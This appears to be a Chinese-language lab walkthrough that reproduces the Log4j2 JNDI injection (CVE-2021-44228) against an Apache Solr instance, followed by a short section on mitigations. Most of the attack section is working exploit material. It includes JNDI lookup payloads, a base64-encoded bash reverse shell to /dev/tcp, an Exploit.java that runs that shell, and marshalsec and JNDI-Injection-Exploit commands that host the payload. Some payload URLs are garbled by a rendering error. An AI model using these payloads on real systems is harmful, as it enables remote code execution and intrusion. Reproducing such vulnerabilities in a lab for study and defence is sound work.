title: Log4j2远程代码执行漏洞
categories:
- 漏洞复现
abbrlink: 33360
date: 2024-06-17 10:49:49
前言
log4j2漏洞是java应用常见开源日志库,是一个就Java的日志记录工具
Apache Log4j2中存在JNDI注入漏洞
,主要原理是利用log4j2的日志输出JNDI远程对象时,调用远程对象没做检查
导致,程序将用户输入的数据进行日志记录时即可触发该漏洞并可在目标服务器上执行任意代码。该漏洞利用过程需要找到一个能触发远程加载并应用配置的输入点,迫使服务器远程加载和修改配置的前提下使目标系统通过JNDI远程获取数据库源,触发攻击者的恶意代码
JNDI
全程java Naming and Directory Interface,即java名称与目录接口
,也就是一个名字对应一个java对象
lookup
JNDI API 中用于查找和获取命名对象的关键方法
在使用 JNDI 进行查找时,通常会创建一个初始上下文(InitialContext),然后使用这个上下文调用 lookup
方法。
Context ctx = new InitialContext();
Object obj = ctx.lookup("java:comp/env/jdbc/MyDataSource");
在这个例子中,ctx.lookup("java:comp/env/jdbc/MyDataSource")
尝试查找名为 "java:comp/env/jdbc/MyDataSource"
的 JNDI 资源,这通常用于获取一个数据库连接池或其他资源。
CVE-2021-44228
攻击者构造一个包含恶意JNDI URL的日志消息
${jndi:ldap://malicious-server.com/a}
当受影响的应用程序记录这条消息时,Log4j2会解析其中的${jndi:...}
表达式,并尝试执行JNDI查找。
若允许远程JNDI查找,Log4j2会连接到ldap://malicious-server.com
并从中加载一个恶意对象或类,这可能包含并执行恶意代码
漏洞检测
使用DNSLog Platform平台检测dns回显,查看是否有漏洞存在
注入点:/solr/admin/cores?action=
构造payload:http://192.168.20.129:8983/solr/admin/cores?action=KaTeX parse error: Expected '}', got 'EOF' at end of input: {jndi:ldap://{sys:java.version}.a8nk84.dnslog.cn}
回显java版本1.8.0_102,说明存在漏洞
kali:192.168.20.128
Ubuntu:192.168.20.129
方法一:手工写恶意文件
编写Exploit.java,反弹shell到kali
bash -i >& /dev/tcp/192.168.20.128/777 0>&1
bash -c {echo, YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwLjEyOC83NzcgMD4mMQ==}|{base64, -d}|{bash, -i}
恶意文件Exploit.java
import java.lang.Runtime;
import java.lang.Process;
public class Exploit {
public Exploit(){
try{
Runtime.getRuntime().exec("/bin/bash -c {echo, YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwLjEyOC83NzcgMD4mMQ==}|{base64, -d}|{bash, -i}");
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}
javac编码为.class文件
apt install default-jdk
启动http服务,为后续工具建立LDAP服务使用
mbechler/marshalsec (github.com)项目启动服务
在pom.xml所在目录,需要运行以下命令生成.jar文件(生成成功后位于此目录的target子目录下)
apt-get install maven
mvn clean package -DskipTests
启动LDAP服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer “http://192.168.20.128:88/#Exploit”
监听777端口
JNDI注入
响应
方法二:JNDI注入工具
一键部署项目地址:sayers522/JNDI-Injection-Exploit: JNDI命令注入利用 (github.com)
maven生成.jar可执行文件:史上最全安装Maven教程_按照maven-CSDN博客
完美解决未解析插件:spring-boot-maven-plugin_未解析的插件:-CSDN博客
同样在pom.xml下打开cmd输入mvn clean package -DskipTests生成一个target目录
反弹shell:bash -i >& /dev/tcp/传反弹shell的主机ip/端口号 0>&1
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “bash -c {echo, YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwLjEyOC82NjYgMD4mMQ==}|{base64, -d}|{bash, -i}” -A “192.168.20.128”
监听666端口
web访问[192.168.20.129:8983/solr/admin/cores?action= j n d i : l d a p : / / 192.168.20.128 : 1389 / E x p l o i t ] ( h t t p : / / 192.168.20.129 : 8983 / s o l r / a d m i n / c o r e s ? a c t i o n = {jndi:ldap://192.168.20.128:1389/Exploit}](http://192.168.20.129:8983/solr/admin/cores?action= jndi:ldap://192.168.20.128:1389/Exploit](http://192.168.20.129:8983/solr/admin/cores?action={jndi:ldap://192.168.20.128:1389/Exploit})
防御
升级Log4j版本(2.15.0及以上版本)
禁用JNDI Lookup
- 添加以下Java系统属性:-Dlog4j2.formatMsgNoLookups=true
- 设置环境变量:LOG4J_FORMAT_MSG_NO_LOOKUPS=true
- 在
log4j2.properties
文件中添加:log4j2.formatMsgNoLookups=true
移除JndiLookup类
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
配置JNDI访问控制
设置Java安全策略,限制JNDI访问:
-Djava.rmi.server.useCodebaseOnly=true
-Dcom.sun.jndi.ldap.object.trustURLCodebase=false
-Dcom.sun.jndi.rmi.object.trustURLCodebase=false
**应用防火墙:**检测和拦截包含恶意JNDI查找的HTTP请求